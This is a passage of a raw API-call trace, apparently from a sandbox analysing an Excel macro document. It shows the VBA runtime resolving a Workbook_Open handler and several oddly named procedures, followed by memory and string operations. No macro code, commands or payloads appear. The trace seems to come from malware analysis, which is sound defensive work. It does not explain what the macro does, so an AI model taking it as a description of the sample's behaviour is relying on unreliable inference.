	[0225.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=7, lpWideCharStr=0xbd71868, cchWideChar=7 | out: lpWideCharStr="commde") returned 7
	[0225.102] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.commde") returned 0x108077
	[0225.102] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.commde") returned 0x108077
	[0225.102] lstrlenA (lpString="ThisWorkbook.commde") returned 19
	[0225.102] SysStringByteLen (bstr="牣獳s") returned 0x5
	[0225.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5
	[0225.102] SysStringByteLen (bstr="牣獳s") returned 0x5
	[0225.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=6, lpWideCharStr=0xbd71868, cchWideChar=6 | out: lpWideCharStr="crsss") returned 6
	[0225.103] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.crsss") returned 0x10ae6f
	[0225.103] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.crsss") returned 0x10ae6f
	[0225.103] lstrlenA (lpString="ThisWorkbook.crsss") returned 18
	[0225.103] SysStringByteLen (bstr="湁偤畬s") returned 0x7
	[0225.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7
	[0225.103] SysStringByteLen (bstr="湁偤畬s") returned 0x7
	[0225.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=8, lpWideCharStr=0xbd71868, cchWideChar=8 | out: lpWideCharStr="AndPlus") returned 8
	[0225.103] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.AndPlus") returned 0x10b19b
	[0225.103] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.AndPlus") returned 0x10b19b
	[0225.103] lstrlenA (lpString="ThisWorkbook.AndPlus") returned 20
	[0225.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8
	[0225.103] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa
	[0225.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd71868, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10
	[0225.103] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa
	[0225.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd71868, cbMultiByte=11, lpWideCharStr=0xb87cfc8, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11
	[0225.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe
	[0225.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Module1") returned 0x101162
	[0225.104] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa
	[0225.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10
	[0225.104] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa
	[0225.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=11, lpWideCharStr=0xb87cfc8, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11
	[0225.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe
	[0225.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook.marrsell", cchWideChar=-1, lpMultiByteStr=0x27b1e0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook.marrsell", lpUsedDefaultChar=0x0) returned 22
	[0225.104] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c
	[0225.104] bsearch (_Key=0x27a0f8, _Base=0xc0ec4b0, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d9219c) returned 0xc0ec4c0
	[0225.104] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3
	[0225.104] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2
	[0225.104] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="marrsell") returned 0x109d0b
	[0225.105] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Forms2F") returned 0x104b02
	[0225.105] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xc0f4e30
	[0225.105] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Workbook_Open") returned 0x10e19b
	[0225.105] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xc0f3510
	[0225.105] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="marrsell") returned 0x109d0b
	[0225.105] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xc0f81d0
	[0225.105] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="njk") returned 0x10b961
	[0225.105] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xc0f0c70
	[0225.105] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="settler") returned 0x100606
	[0225.105] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xc0f4c50
	[0225.105] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="doublecheck") returned 0x10f783
	[0225.105] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xc0f6070
	[0225.105] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="formsands") returned 0x1020d8
	[0225.105] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xc0f4570
	[0225.105] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="cleardatas") returned 0x106438
	[0225.105] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xc0f38d0
	[0225.105] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="commde") returned 0x100320
	[0225.105] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xc0f37b0
	[0225.105] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="crsss") returned 0x10bd4f
	[0225.105] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xc0f6850
	[0225.105] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="AndPlus") returned 0x103341
	[0225.105] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xc0f2c30
	[0225.105] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="sdemom") returned 0x10fd9c
	[0225.105] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="marrsell", cchCount1=-1, lpString2="marrsell", cchCount2=-1) returned 2
	[0225.105] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="marrsell", cchCount1=-1, lpString2="Workbook_Open", cchCount2=-1) returned 1
	[0225.105] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="marrsell") returned 0x109d0b
	[0225.105] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="marrsell") returned 0x109d0b
	[0225.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook.settler", cchWideChar=-1, lpMultiByteStr=0x27b1e0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook.settler", lpUsedDefaultChar=0x0) returned 21
	[0225.106] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c
	[0225.106] bsearch (_Key=0x27a0f8, _Base=0xc0ec4b0, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d9219c) returned 0xc0ec4c0
	[0225.106] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3
	[0225.106] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2
	[0225.106] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="settler") returned 0x100606
	[0225.106] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="settler") returned 0x100606
	[0225.106] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="settler") returned 0x100606
	[0225.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook.doublecheck", cchWideChar=-1, lpMultiByteStr=0x27b1d0, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook.doublecheck", lpUsedDefaultChar=0x0) returned 25
	[0225.106] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c
	[0225.106] bsearch (_Key=0x27a0d8, _Base=0xc0ec4b0, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d9219c) returned 0xc0ec4c0
	[0225.106] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3
	[0225.106] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2
	[0225.106] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="doublecheck") returned 0x10f783
	[0225.107] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="doublecheck") returned 0x10f783
	[0225.107] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="doublecheck") returned 0x10f783
	[0225.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook.formsands", cchWideChar=-1, lpMultiByteStr=0x27b1e0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook.formsands", lpUsedDefaultChar=0x0) returned 23
	[0225.107] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c
	[0225.107] bsearch (_Key=0x27a0f8, _Base=0xc0ec4b0, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d9219c) returned 0xc0ec4c0
	[0225.107] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3
	[0225.107] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2
	[0225.107] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="formsands") returned 0x1020d8
	[0225.107] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="formsands") returned 0x1020d8
	[0225.107] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="formsands") returned 0x1020d8
	[0225.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook.cleardatas", cchWideChar=-1, lpMultiByteStr=0x27b1e0, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook.cleardatas", lpUsedDefaultChar=0x0) returned 24
	[0225.108] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c
	[0225.108] bsearch (_Key=0x27a0f8, _Base=0xc0ec4b0, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d9219c) returned 0xc0ec4c0
	[0225.108] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3
	[0225.108] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2
	[0225.108] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="cleardatas") returned 0x106438
	[0225.108] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="cleardatas") returned 0x106438
	[0225.108] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="cleardatas") returned 0x106438
	[0225.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook.commde", cchWideChar=-1, lpMultiByteStr=0x27b1e0, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook.commde", lpUsedDefaultChar=0x0) returned 20
	[0225.108] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c
	[0225.108] bsearch (_Key=0x27a0f8, _Base=0xc0ec4b0, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d9219c) returned 0xc0ec4c0
	[0225.108] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3
	[0225.108] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2
	[0225.108] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="commde") returned 0x100320
	[0225.108] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="commde") returned 0x100320
	[0225.109] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="commde") returned 0x100320
	[0225.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook.crsss", cchWideChar=-1, lpMultiByteStr=0x27b1e0, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook.crsss", lpUsedDefaultChar=0x0) returned 19
	[0225.109] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c
	[0225.109] bsearch (_Key=0x27a0f8, _Base=0xc0ec4b0, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d9219c) returned 0xc0ec4c0
	[0225.109] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3
	[0225.109] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2
	[0225.109] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="crsss") returned 0x10bd4f
	[0225.109] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="crsss") returned 0x10bd4f
	[0225.109] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="crsss") returned 0x10bd4f
	[0225.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook.AndPlus", cchWideChar=-1, lpMultiByteStr=0x27b1e0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook.AndPlus", lpUsedDefaultChar=0x0) returned 21
	[0225.109] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c
	[0225.109] bsearch (_Key=0x27a0f8, _Base=0xc0ec4b0, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d9219c) returned 0xc0ec4c0
	[0225.109] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3
	[0225.110] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2
	[0225.110] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="AndPlus") returned 0x103341
	[0225.110] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="AndPlus") returned 0x103341
	[0225.110] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="AndPlus") returned 0x103341
	[0225.134] CExposedDocFile::CreateStorage () returned 0x0
	[0225.135] IMalloc:Realloc (This=0x7feffc15380, pv=0xb78f420, cb=0x0) returned 0x0
	[0225.135] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb666970
	[0225.135] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x8) returned 0xb6659b0
	[0225.135] IMalloc:Realloc (This=0x7feffc15380, pv=0xba57850, cb=0x8) returned 0xb6659b0
	[0225.135] IMalloc:Realloc (This=0x7feffc15380, pv=0xb78f450, cb=0x0) returned 0x0
	[0225.135] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb665b40
	[0225.135] IMalloc:Realloc (This=0x7feffc15380, pv=0xb791c40, cb=0x0) returned 0x0
	[0225.135] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb6668e0
	[0225.135] ITypeInfo:RemoteGetTypeAttr (in: This=0xbb2b978, ppTypeAttr=0x27c580, pDummy=0xbc59550 | out: ppTypeAttr=0x27c580, pDummy=0xbc59550*=0x70007) returned 0x0
	[0225.135] StringFromGUID2 (in: rguid=0xba55c38*(Data1=0x20819, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x27c5c0, cchMax=39 | out: lpsz="{00020819-0000-0000-C000-000000000046}") returned 39
	[0225.135] ITypeInfo:LocalReleaseTypeAttr (This=0xbb2b978) returned 0x0
	[0225.135] IUnknown:Release (This=0xbb2b978) returned 0x1
	[0225.135] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xbef99f0
	[0225.136] IMalloc:Realloc (This=0x7feffc15380, pv=0x4e5b080, cb=0x12f0) returned 0xb6c1ce0
	[0225.136] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c4d8 | out: ppvObject=0x27c4d8*=0x0) returned 0x80004002
	[0225.136] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xbb43508, ppTLib=0x27c4e0, pIndex=0x27c4f0 | out: ppTLib=0x27c4e0*=0xb9fd070, pIndex=0x27c4f0*=0x17) returned 0x0
	[0225.136] IUnknown:QueryInterface (in: This=0xb9fd070, riid=0x7fee611b078*(Data1=0x20411, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x27c4e8 | out: ppvObject=0x27c4e8*=0xb9fd070) returned 0x0
	[0225.136] ITypeLib:RemoteGetLibAttr (in: This=0xb9fd070, ppTLibAttr=0x27c560, pDummy=0x0 | out: ppTLibAttr=0x27c560, pDummy=0x0) returned 0x0
	[0225.136] ITypeLib:LocalReleaseTLibAttr (This=0xb9fd070) returned 0x0
	[0225.137] wcscpy_s (in: _Destination=0x27c598, _SizeInWords=0xd, _Source="*\\R" | out: _Destination="*\\R") returned 0x0
	[0225.137] _ultow_s (in: _Value=0x0, _Buffer=0x27c59e, _BufferCount=0xa, _Radix=16 | out: _Buffer="0") returned 0x0
	[0225.137] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c4f8 | out: ppvObject=0x27c4f8*=0x0) returned 0x80004002
	[0225.137] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c4d8 | out: ppvObject=0x27c4d8*=0x0) returned 0x80004002
	[0225.137] _ultow_s (in: _Value=0x17, _Buffer=0x27c5a4, _BufferCount=0x7, _Radix=16 | out: _Buffer="17") returned 0x0
	[0225.137] wcscpy_s (in: _Destination=0xb78f068, _SizeInWords=0x9, _Source="*\\R0*#17" | out: _Destination="*\\R0*#17") returned 0x0
	[0225.137] IUnknown:Release (This=0xb9fd070) returned 0xc
	[0225.137] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x8) returned 0xb665890
	[0225.137] IMalloc:Realloc (This=0x7feffc15380, pv=0xbd11bd0, cb=0x2238) returned 0xbd11bd0
	[0225.137] IMalloc:Realloc (This=0x7feffc15380, pv=0xbcfcb50, cb=0x1ec) returned 0xbcfcb50
	[0225.138] _mbscpy_s (in: _Dst=0x7fee6142aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee60fe740 | out: _Dst=0x7fee6142aaa) returned 0x0
	[0225.138] _mbscpy_s (in: _Dst=0x7fee6142ab5, _DstSizeInBytes=0x3eb, _Src=0xc0f43f0 | out: _Dst=0x7fee6142ab5) returned 0x0
	[0225.139] ITypeInfo:RemoteGetTypeAttr (in: This=0xbb2b978, ppTypeAttr=0x27c440, pDummy=0xbc59550 | out: ppTypeAttr=0x27c440, pDummy=0xbc59550*=0x70007) returned 0x0
	[0225.139] StringFromGUID2 (in: rguid=0xba55c38*(Data1=0x20819, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x27c480, cchMax=39 | out: lpsz="{00020819-0000-0000-C000-000000000046}") returned 39
	[0225.139] ITypeInfo:LocalReleaseTypeAttr (This=0xbb2b978) returned 0x0
	[0225.139] IUnknown:Release (This=0xbb2b978) returned 0x1
	[0225.139] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xbef99f0
	[0225.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0{00020819-0000-0000-C000-000000000046}", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40
	[0225.139] IMalloc:Alloc (This=0x7feffc15380, cb=0x28) returned 0xb791c40
	[0225.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0{00020819-0000-0000-C000-000000000046}", cchWideChar=40, lpMultiByteStr=0xb791c40, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0{00020819-0000-0000-C000-000000000046}", lpUsedDefaultChar=0x0) returned 40
	[0225.139] _mbscpy_s (in: _Dst=0x7fee6142aa0, _DstSizeInBytes=0x400, _Src=0x7fee60fe648 | out: _Dst=0x7fee6142aa0) returned 0x0
	[0225.139] _mbscpy_s (in: _Dst=0x7fee6142aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee60fe658 | out: _Dst=0x7fee6142aaa) returned 0x0
	[0225.139] _mbscpy_s (in: _Dst=0x7fee6142ab5, _DstSizeInBytes=0x3eb, _Src=0xb791c40 | out: _Dst=0x7fee6142ab5) returned 0x0
	[0225.139] _mbscpy_s (in: _Dst=0x7fee6142aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee60fe7f8 | out: _Dst=0x7fee6142aaa) returned 0x0
	[0225.139] _mbscpy_s (in: _Dst=0x7fee6142abf, _DstSizeInBytes=0x3e1, _Src=0x7fee60fe2c8 | out: _Dst=0x7fee6142abf) returned 0x0
	[0225.139] _mbscpy_s (in: _Dst=0x7fee6142aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee60fe670 | out: _Dst=0x7fee6142aaa) returned 0x0
	[0225.139] _mbscpy_s (in: _Dst=0x7fee6142ab9, _DstSizeInBytes=0x3e7, _Src=0x7fee60fe2c8 | out: _Dst=0x7fee6142ab9) returned 0x0
	[0225.139] _mbscpy_s (in: _Dst=0x7fee6142aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee60fe748 | out: _Dst=0x7fee6142aaa) returned 0x0
	[0225.139] _mbscpy_s (in: _Dst=0x7fee6142abd, _DstSizeInBytes=0x3e3, _Src=0x7fee60fe59c | out: _Dst=0x7fee6142abd) returned 0x0
	[0225.139] _mbscpy_s (in: _Dst=0x7fee6142aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee60fe6a0 | out: _Dst=0x7fee6142aaa) returned 0x0
	[0225.140] _mbscpy_s (in: _Dst=0x7fee6142ab7, _DstSizeInBytes=0x3e9, _Src=0x7fee60fe59c | out: _Dst=0x7fee6142ab7) returned 0x0
	[0225.140] _mbscpy_s (in: _Dst=0x7fee6142aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee60fe770 | out: _Dst=0x7fee6142aaa) returned 0x0
	[0225.140] _mbscpy_s (in: _Dst=0x7fee6142abf, _DstSizeInBytes=0x3e1, _Src=0x7fee60fe2c8 | out: _Dst=0x7fee6142abf) returned 0x0
	[0225.140] _mbscpy_s (in: _Dst=0x7fee6142aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee60fe680 | out: _Dst=0x7fee6142aaa) returned 0x0
	[0225.140] _mbscpy_s (in: _Dst=0x7fee6142abc, _DstSizeInBytes=0x3e4, _Src=0x7fee60fe59c | out: _Dst=0x7fee6142abc) returned 0x0
	[0225.141] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2b62 | out: _Dst=0xb8e0230) returned 0x0
	[0225.142] strnlen (_Str="99", _MaxCount=0x18) returned 0x2
	[0225.142] _i64toa_s (in: _Value=99, _Buffer=0x27c570, _BufferCount=0x18, _Radix=10 | out: _Buffer="99") returned 0x0
	[0225.142] strnlen (_Str="99", _MaxCount=0x18) returned 0x2
	[0225.142] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2bb6 | out: _Dst=0xb8e0230) returned 0x0
	[0225.142] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2b62 | out: _Dst=0xb8e0230) returned 0x0
	[0225.142] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2bde | out: _Dst=0xb8e0230) returned 0x0
	[0225.142] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2b8e | out: _Dst=0xb8e0230) returned 0x0
	[0225.142] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2c36 | out: _Dst=0xb8e0230) returned 0x0
	[0225.143] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2caa | out: _Dst=0xb8e0230) returned 0x0
	[0225.143] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2c82 | out: _Dst=0xb8e0230) returned 0x0
	[0225.147] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2cd2 | out: _Dst=0xb8e0230) returned 0x0
	[0225.147] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2cfa | out: _Dst=0xb8e0230) returned 0x0
	[0225.147] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2d26 | out: _Dst=0xb8e0230) returned 0x0
	[0225.147] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2d52 | out: _Dst=0xb8e0230) returned 0x0
	[0225.147] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2d7e | out: _Dst=0xb8e0230) returned 0x0
	[0225.147] _mbscpy_s (in: _Dst=0xb8e0230, _DstSizeInBytes=0x400, _Src=0x57b2da6 | out: _Dst=0xb8e0230) returned 0x0
	[0225.155] qsort (in: _Base=0xbd61240, _NumOfElements=0x24, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5e95ff0 | out: _Base=0xbd61240) 
	[0225.169] IMalloc:Realloc (This=0x7feffc15380, pv=0xb791e20, cb=0x0) returned 0x0
	[0225.169] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb665890
	[0225.169] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x8) returned 0xb667310
	[0225.169] IMalloc:Realloc (This=0x7feffc15380, pv=0xba578e0, cb=0x8) returned 0xb667310
	[0225.169] IMalloc:Realloc (This=0x7feffc15380, pv=0xb791e50, cb=0x0) returned 0x0
